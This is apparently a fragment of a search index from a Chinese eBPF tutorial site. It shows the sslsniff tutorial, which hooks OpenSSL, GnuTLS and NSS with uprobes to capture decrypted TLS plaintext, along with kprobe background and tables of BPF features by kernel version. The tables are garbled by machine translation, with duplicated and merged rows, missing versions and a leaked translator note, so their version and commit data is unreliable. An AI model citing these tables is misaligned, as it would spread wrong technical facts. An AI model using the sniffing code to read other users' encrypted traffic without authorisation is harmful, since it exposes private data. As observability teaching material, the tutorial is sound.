data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"214","title":"Hook到握手过程"},"215":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"215","title":"用户态辅助代码分析与解读"},"216":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"216","title":"1. 支持的库挂载"},"217":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 在eBPF生态系统中，perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的，因为它们不能直接与用户态进行交互。使用perf_buffer，我们可以在内核态eBPF程序中收集数据，然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据，如下所示： while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { warn(\"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } err = 0; } 最后，在 print_event 函数中，我们将数据打印到标准输出： // Function to print the event from the perf buffer\nvoid print_event(struct probe_SSL_data_t *event, const char *evt) { ... if (buf_size != 0) { if (env.hexdump) { // 2 characters for each byte + null terminator char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; buf_to_hex((uint8_t *)buf, buf_size, hex_data); printf(\"\\n%s\\n\", s_mark); for (size_t i = 0; i < strlen(hex_data); i += 32) { printf(\"%.32s\\n\", hex_data + i); } printf(\"%s\\n\\n\", e_mark); } else { printf(\"\\n%s\\n%s\\n%s\\n\\n\", s_mark, buf, e_mark); } }\n} 完整的源代码可以在这里查看： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 2. 详细挂载逻辑","id":"217","title":"2. 详细挂载逻辑"},"218":{"body":"要开始使用 sslsniff，首先要进行编译： make 完成后，请按照以下步骤操作：","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 编译与运行","id":"218","title":"编译与运行"},"219":{"body":"在一个终端中，执行以下命令来启动 sslsniff： sudo ./sslsniff","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 启动 sslsniff","id":"219","title":"启动 sslsniff"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"在另一个终端中，执行： curl https://example.com 正常情况下，你会看到类似以下的输出：    Example Domain ...  
 ... 
  ","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 执行 CURL 命令","id":"220","title":"执行 CURL 命令"},"221":{"body":"当执行 curl 命令后，sslsniff 会显示以下内容： READ/RECV 0.132786160 curl 47458 1256 ----- DATA -----  ... 
 
Example Domain
 ... 
   ----- END DATA ----- 注意 ：显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » sslsniff 输出","id":"221","title":"sslsniff 输出"},"222":{"body":"要查看延迟和握手过程，请执行以下命令： $ sudo ./sslsniff -l --handshake\nOpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3\nGnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30\nNSS path: /lib/x86_64-linux-gnu/libnspr4.so\nFUNC TIME(s) COMM PID LEN LAT(ms)\nHANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 显示延迟和握手过程","id":"222","title":"显示延迟和握手过程"},"223":{"body":"要以16进制格式显示数据，请执行以下命令： $ sudo ./sslsniff --hexdump\nWRITE/SEND 0.000000000 curl 16104 24 ----- DATA -----\n505249202a20485454502f322e300d0a\n0d0a534d0d0a0d0a\n----- END DATA ----- ...","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 16进制输出","id":"223","title":"16进制输出"},"224":{"body":"eBPF 是一个非常强大的技术，它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例，展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣，并希望进一步了解和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 参考资料： https://github.com/iovisor/bcc/pull/4706 https://github.com/openssl/openssl https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt https://en.wikipedia.org/wiki/Transport_Layer_Security","breadcrumbs":"使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 » 总结","id":"224","title":"总结"},"225":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Linux 内核版本的 BPF 功能","id":"225","title":"Linux 内核版本的 BPF 功能"},"226":{"body":"内核版本 提交 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF支持","id":"226","title":"eBPF支持"},"227":{"body":"可以使用以下命令获取内核支持的体系结构列表： git grep HAVE_EBPF_JIT arch/ 功能 / 体系结构 内核版本 提交 x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 JIT机器的常量混淆 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 常量混淆 - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT编译","id":"227","title":"JIT编译"},"228":{"body":"其中几个（但不是全部） 主要特性 可以转换为 eBPF 程序类型。 您的内核支持的此类程序类型的列表可以在文件 include/uapi/linux/bpf.h 中找到： git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h 特性 内核版本 提交 AF_PACKET (libpcap/tcpdump, cls_bpf 分类器, netfilter 的 xt_bpf, team 驱动程序的负载均衡模式…) 3.15 bd4cf0ed331a 内核助手 3.15 bd4cf0ed331a bpf() 系统调用 3.18 99c55f7d47c0 Maps ( 又名 表; 详见下文) 3.18 99c55f7d47c0 BPF 附加到套接字 3.19 89aa075832b0 BPF 附加到 kprobes 4.1 2541517c32be cls_bpf / act_bpf 用于 tc 4.1 e2e9b6541dd4 尾调用 4.2 04fd61ab36ec 非根程序上的套接字 持久映射和程序（虚拟文件系统） 4.4 b2197755b263 tc的direct-action(da)模式 4.4 045efa82ff56 tc的clsactqdisc 4.5 1f211a1b929c BPF连接到跟踪点 4.7 98b5c2c65c29 直接数据包访问 4.7 969bf05eb3ce XDP（参见下文） 4.8 6a773a15a1e8 BPF连接到性能事件 4.9 0515e5999a46 tc的cls_bpf的硬件卸载 4.9 332ae8e2f6ec 验证器暴露和内部钩子 4.9 13a27dfc6697 BPF连接到 cgroups 用于套接字过滤 4.10 0e33661de493 轻量级隧道封装 4.10 3a0af8fd61f9 e BPF对xt_bpf模块（iptables）的支持 4.10 2c16d6033264 BPF程序标签 4.10 7bd509e311f4 跟踪点以调试BPF 测试/基准测试BPF程序 4.12 1cf1cae963c2 BPF程序和映射ID 4.13 dc4bb0e23561 BPF对sock_ops的支持 4.13 40304b2a1567 BPF对套接字上的skb的支持 4.14 b005fd189cec 内核源码中的bpftool实用程序 4.15 71bb428fe2c1 BPF附加到cgroups作为设备控制器 4.15 ebc614f68736 bpf2bpf函数调用 4.16 cc8b0b92a169 BPF用于监视套接字RX/TX数据 4.17 4f738adba30a BPF附加到原始跟踪点 4.17 c4f6699dfcb8 BPF附加到bind()系统调用 4.17 4fbac77d2d09 aac3fc320d94 BPF附加到connect()系统调用 4.17 d74bad4e74ee BPF 类型格式（BTF） AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 seg6local LWT 的 End.BPF 操作 4.18 004d4b274e2a BPF 附加到 LIRC 设备 4.18 f4364dcfc86d 将映射值传递给映射助手 4.18 d71962f3e627 BPF 套接字复用端口 4.19 2dbb9b9e6df6 BPF 流解剖器 4.20 d58e468b1112 BPF 1M 指令限制 5.2 c04c0d2b968a BPF 控制组 sysctl 5.2 7b146cebe30c BPF 原始跟踪点可写 5.2 9df1c28bb752 BPF 有界循环 5.3 2589726d12a1 BPF 跳板 5.5 fec56f5890d9 BPF LSM 钩子 5.7 fc611f47f218 641cd7b06c91 BPF 迭代器 5.8 180139dca8b3 BPF套接字查找挂钩 可睡眠的BPF程序 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » 主要特性","id":"228","title":"主要特性"},"229":{"body":"程序类型 内核版本 提交 枚举 套接字过滤器 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE 流量控制(TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS 流量控制(TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT 跟踪点 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP 性能事件 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup套接字过滤 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup套接字修改 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK 轻量级隧道(IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN\".lightweight tunnel (OUT) 轻量级隧道 (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT 轻量级隧道 (XMIT) | 4.10 | 3a0af8fd61f9 | BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS cgroup sock操作 (每个连接) | 4.13 | 40304b2a1567 | BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB 流分析器 / 流判定 | 4.14 | b005fd189cec | BPF_PROG_TYPE_SK_SKB cgroup device manager | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE cgroup设备管理器 | 4.15 | ebc614f68736 | BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG 套接字消息判定 | 4.17 | 4f738adba30a | BPF_PROG_TYPE_SK_MSG Raw tracepoint | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT 裸跟踪点 | 4.17 | c4f6699dfcb8 | BPF_PROG_TYPE_RAW_TRACEPOINT socket binding | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR 套接字绑定 | 4.17 | 4fbac77d2d09 | BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL 轻量级隧道seg6local | 4.18 | 004d4b274e2a | BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lirc设备 | 4.18 | f4364dcfc86d | BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT 查找SO_REUSEPORT套接字 | 4.19 | 2dbb9b9e6df6 | BPF_PROG_TYPE_SK_REUSEPORT flow dissector | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTOR 流解析器 | 4.20 | d58e468b1112 | BPF_PROG_TYPE_FLOW_DISSECTORcgroup sysctl | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL 可控 cgroup | 5.2 | 7b146cebe30c | BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE 可写原始跟踪点 | 5.2 | 9df1c28bb752 | BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT cgroup getsockopt/setsockopt | 5.3 | 0d01da6afc54 | BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING 追踪 (BTF/BPF 弹跳) | 5.5 | f1b9509c2fb0 | BPF_PROG_TYPE_TRACING struct ops | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS 结构操作 | 5.6 | 27ae7997a661 | BPF_PROG_TYPE_STRUCT_OPS extensions | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT 扩展 | 5.6 | be8704ff07d2 | BPF_PROG_TYPE_EXT LSM | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM LSM (Linux安全模块) | 5.7 | fc611f47f218 | BPF_PROG_TYPE_LSM lookup listening socket | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP 查询监听套接字 | 5.9 | e9ddbb7707ff | BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL 允许执行系统调用 | 5.15 | 79a7f8bdb159 | BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » 程序类型","id":"229","title":"程序类型"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用 kprobes 技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态地插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。 kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是 pre_handler、post_handler 和 fault_handler，其中 pre_handler 函数将在被探测指令被执行前回调，post_handler 会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler 会在内存访问出错时被调用；jprobe 基于 kprobe 实现，它用于获取被探测函数的入参值；最后 kretprobe 从名字中就可以看出其用途了，它同样基于 kprobe 实现，用于获取被探测函数的返回值。 kprobes 的技术原理并不仅仅包含纯软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构，包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips（有些架构实现可能并不完全，具体可参考内核的 Documentation/kprobes.txt）。 kprobes 的特点与使用限制： kprobes 允许在同一个被探测位置注册多个 kprobe，但是目前 jprobe 却不可以；同时也不允许以其他的 jprobe 回调函数和 kprobe 的 post_handler 回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的，另外还有do_page_fault 和 notifier_call_chain； 如果以一个内联函数为探测点，则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数的运行上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码； kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，而在它的回调函数中可能会再次调用printk函数，此时将不再触发printk探测点的回调，仅仅是增加了kprobe结构体中nmissed字段的数值； 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存； kprobes 回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃 CPU 的函数（如信号量、mutex 锁等）； kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现，因此栈回溯和 gcc 内嵌函数__builtin_return_address()调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 当在进入和退出一个函数时，如果 CPU 运行在非当前任务所有的栈上，那么往该函数上注册 kretprobe 可能会导致不可预料的后果，因此，kprobes 不支持在 X86_64 的结构下为__switch_to()函数注册 kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Map types ( a.k.a. 表格, 在 BCC 术语中)","id":"230","title":"Map types ( a.k.a. 表格, 在 BCC 术语中)"},"231":{"body":"您内核支持的 Map 类型列表可以在文件 include/uapi/linux/bpf.h 中找到: git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map 类型 内核版本 提交 枚举 哈希 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH\".Array Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPSHash of maps Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGENetdevice references (hashmap) struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map 类型","id":"231","title":"Map 类型"},"232":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 传递NULL给GET_NEXT_KEY 创建: 选择NUMA节点 4.14 96eabe7a40aa 限制从系统调用方面的访问 4.15 6e71b04a8224 创建: 指定映射名称 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 创建: BPF_F_ZERO_SEED 5.0 96b3b6c9091d 查找/更新的BPF_F_LOCK标志 5.1 96049f3afd50 限制从BPF方面的访问 5.2 591fe9888d78 FREEZE 5.2 87df15de441b 数组映射的mmap()支持 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM哈希映射的支持 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"232","title":"Map userspace API"},"233":{"body":"您的内核支持XDP程序的驱动程序或组件的近似列表可以用以下命令检索: ```sh````git grep -l XDP_SETUP_PROG drivers/ 功能/驱动 内核版本 提交 XDP核心架构 4.8 6a773a15a1e8 操作：丢弃 4.8 6a773a15a1e8 操作：传递到堆栈 4.8 6a773a15a1e8 直接转发（同一端口） 4.8 6ce96ca348a9 直接数据包数据写入 4.8 4acf6c0b84c9 Mellanox mlx4驱动 4.8 47a38e155037 Mellanox mlx5驱动 4.9 86994156c736 Netronome nfp驱动 4.10 ecd63a0217d5 QLogic（Cavium）qed*驱动 4.10 496e05170958 virtio_net驱动 4.10 f600b6905015 Broadcom bnxt_en驱动 4.11 c6d30e8391b8 Intel ixgbe*驱动 4.12 924708081629 Cavium thunderx驱动 4.12 05c773f52b96 通用XDP 4.12 b5cdae3291f7 ` 注意： 本次翻译仅包括翻译部分，不包括原始文本。## 帮助者 您的内核支持的辅助者列表可在文件中找到。 Intel i40e 驱动程序 | 4.13 | 0c8493d90b6b 操作：重定向 | 4.14 | 6453073987ba 支持 tap | 4.14 | 761876c857cb 支持 veth | 4.14 | d445516966dc Intel ixgbevf 驱动程序 | 4.17 | c7aec59657b6 Freescale dpaa2 驱动程序 | 5.0 | 7e273a8ebdd3 Socionext netsec 驱动程序 | 5.3 | ba2b232108d3 TI cpsw 驱动程序 | 5.3 | 9ed4050c0d75 Intel ice 驱动程序 |5.5| efc2214b6047 Solarflare sfc 驱动程序 | 5.5 | eb9a36be7f3e Marvell mvneta 驱动程序 | 5.5 | 0db51da7a8e9 Microsoft hv_netvsc 驱动程序 | 5.6 | 351e1581395f Amazon ena 驱动程序 | 5.6 | 838c93dc5449 xen-netfront 驱动程序 | 5.9 | 6c5aa6fc4def Intel gi 驱动程序 | 5.10 | 9cbc948b5a20 include/uapi/linux/bpf.h: include/uapi/linux/bpf.h : git grep ' FN(' include/uapi/linux/bpf.h 按字母顺序排列 Helper 内核版本 授权许可 提交记录 BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 